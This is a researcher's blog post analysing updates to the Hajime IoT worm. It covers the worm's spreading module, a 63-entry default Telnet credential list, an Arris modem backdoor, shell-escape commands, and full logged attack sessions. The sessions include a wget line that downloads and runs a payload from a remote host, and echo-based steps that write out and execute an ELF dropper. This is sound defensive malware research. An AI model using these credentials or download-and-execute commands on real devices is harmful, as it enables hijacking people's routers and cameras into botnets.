Hajime: A follow-up

x86.re/blog/hajime-a-follow-up/

April 15, 2017

Hajime is a decentralized modular worm that targets embedded devices with Telnet exposed to the internet.

Its binaries are built for Linux devices with ARMv5, ARMv6, ARMv7, MIPS little-endian and MIPS big-endian processor architectures.

It was originally discovered by Sam Edwards and I of Rapidity Networks SRG, and its behaviour was outlined in a paper that can be found here.

Ever since the release of the aforementioned paper on October 16th of 2016, there has been a series of changes as to how Hajime operates.

> The atk module now checks for the presence of wget and uses it in place of its own stager if available. It checks whether wget exists by running the following command:

```
nc; wget; /bin/busybox UXVMW
```

And checking its output for the strings “wget: applet not found” or “wget: not found”.

The request URI is always /.i:

```
rm .s; wget http://x.x.x.x:10363/.i; chmod +x .i; ./.i; exit
```

> Similarly, the atk module (formerly named exp) now also features a minimal HTTP web server for spreading stage2s, listening on an unprivileged random port (>= 1024). It serves the stage2 corresponding to the architecture of the device that it is infecting regardless of the request URI, as long as the request method is GET. The response is as follows:

```
HTTP/1.0 200 OK
Content-Type: application/octet-stream
Content-Length: *size of stage2*


*payload*
```

- The atk module now attempts to port-forward the ports it uses to spread through the use of UPnP’s AddPortMapping SOAP command.
- Complete overhaul of the scanning/attack logic.
- The atk module now selects a random 5-letter uppercase alphabetic string as the BusyBox applet name for its command output delimiter (formerly “ECCHI”).

- The atk module is now capable of infecting ARRIS modems by using the password-of-the-day “backdoor” with the default seed (outlined here: https://w00tsec.blogspot.com/2015/11/arris-cable-modem-has-backdoor-in.html). It does so by checking for the Arris telnet banner upon connection.
- Upon successful login, Hajime now tries a variety of shell escape vulnerabilities to attempt to drop out of any potential restricted shells. On non-Arris devices, the attempted commands are (in respective order):

```
enable
shell
sh
```

On Arris devices, the attempted commands are (in respective order):

```
system
ping ; sh
```

The latter has also been observed to be in use by LuaBot (see here: https://w00tsec.blogspot.com/2016/09/luabot-malware-targeting-cable-modems.html)

> The atk module now has a significantly larger table of credentials (formerly 12 combinations, now 63):

Username	Password
root	xc3511
root	vizxv
root	admin
admin	admin
root	888888
root	xmhdipc
root	default
root	juantech
root	123456
root	54321
support	support
root	
admin	password

Username	Password
root	root
root	12345
user	user
admin	
root	pass
admin	admin1234
root	1111
admin	smcadmin
admin	1111
root	666666
root	password
root	1234
root	klv123
Administrator	admin
service	service
supervisor	supervisor
guest	guest
guest	12345
admin1	password
administrator	1234
666666	666666
888888	888888
ubnt	ubnt
root	klv1234
root	Zte521
root	hi3518

Username	Password
root	jvbzd
root	anko
root	zlxx.
root	7ujMko0vizxv
root	7ujMko0admin
root	system
root	ikwb
root	dreambox
root	user
root	realtek
root	00000000
admin	1111111
admin	1234
admin	12345
admin	54321
admin	123456
admin	7ujMko0admin
admin	1234
admin	pass
admin	meinsm
tech	tech
mother	fucker
root	5up
Admin	5up

Upon its startup, the stage2 now attempts to block a series of ports on the infected device through the use of iptables:

```
iptables -A INPUT -p tcp --destination-port 23 -j DROP
iptables -A INPUT -p tcp --destination-port 7547 -j DROP
iptables -A INPUT -p tcp --destination-port 5555 -j DROP
iptables -A INPUT -p tcp --destination-port 5358 -j DROP
```

It also attempts to drop an INPUT chain named “CWMP_CR”:

```
iptables -D INPUT -j CWMP_CR
iptables -X CWMP_CR
```

- The public/private keys as well as the RC4 key derived by the key exchange are no longer static, as the misuse of C’s rand function has since been fixed by the author.
- Config files can now contain a new section, [info], containing messages from the author. The string under that section is printed to the standard output, and appears to be aimed at researchers that are debugging Hajime.
- The info section of the current config as of April 13 2017 is as follows (stripped of ANSI escape codes):

```
Just a white hat, securing some systems.

Important messages will be signed like this!

Hajime Author.

Contact CLOSED

Stay sharp!
```

Example Hajime attack session (Arris banner, ARMv7 platform, no wget available):

```
1G3IL4R495
system
ping ; sh
cat /proc/mounts; /bin/busybox PSLQP
cd /var; (cat .s || cp /bin/echo .s); /bin/busybox PSLQP
nc; wget; /bin/busybox PSLQP
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PSLQP
>.s; cp .s .i
echo -ne
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00\x01\
 >> .s
echo -ne
"\x00\x00\x01\x00\xf8\x00\x00\x00\xf8\x00\x00\x00\x05\x00\x00\x00\x00\x00\x01\x00\x02\
 >> .s
echo -ne
"\x07\x00\x2d\xe9\x03\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x14\xd0\x8d\xe2\x4f\
 >> .s
echo -ne
"\x00\x50\x85\xe0\x00\x00\x50\xe3\x04\x00\x00\xda\x00\x20\xa0\xe1\x01\x00\xa0\xe3\x04\
 >> .s
echo -ne
"\x62\x69\x00\x01\x1c\x00\x00\x00\x05\x43\x6f\x72\x74\x65\x78\x2d\x41\x35\x00\x06\x0a\
 >> .s
echo -ne
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
 >> .s
echo -ne
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\
 >> .s
echo -ne
"\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x01\x00\x00\x21\x00\x00\x00\x00\x00\x00\x00\x00\
 >> .s
./.s>.i; chmod +x .i; ./.i; rm .s; exit
```

Example Hajime attack session (Arris banner, ARMv7 platform, wget available):

```
1G3IL4R495
system
ping ; sh
cat /proc/mounts; /bin/busybox UXVMW
cd /var; (cat .s || cp /bin/echo .s); /bin/busybox UXVMW
nc; wget; /bin/busybox UXVMW
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox UXVMW
rm .s; wget http://x.x.x.x:10363/.i; chmod +x .i; ./.i; exit
```

Note that the first line on both sessions is the Arris password-of-the-day for April 13th, 2017.

The above research was conducted through the analysis of the following Hajime samples:

```
File name: .i.arm7.1485239580
Hashes:
MD5:            2e9dd2e43e866a26c44ceccc129e0c52
SHA1:           c2b82c322cfd0f61d234267a99bb848898fe54ea
SHA256:         e3a4120c1f2ec3d430ad95f567179280d657739dd906053d0e9b6d45d59ffa93
SHA512:
74e160a752517fcc28c49efbb326689197d2b2f7bd7c365aaaed511c2e9565c90509b61520b9a117bafae2


File name: atk.arm7.1485239515
Hashes:
MD5:            359779e208d59d84a9b58a278be5345b
SHA1:           14ac6ea9736ae013071995dff535c34ebb411143
SHA256:         c02cb27fee760a29d990cecfb029b64aa2abbc349fa2a9c17b2438add3af4da0
SHA512:
9e4e8be435613f08380d057e4d0cf0532308c69e82fe9fe9c951d47b65ac4166db83cafe043617d474fb07
```

A repository containing the filenames and hashes of all known Hajime configurations and binaries can be found at https://github.com/Psychotropos/hajime_hashes.

Samples are also automatically submitted to VirusTotal for analysis: https://www.virustotal.com/en/user/psychotropos/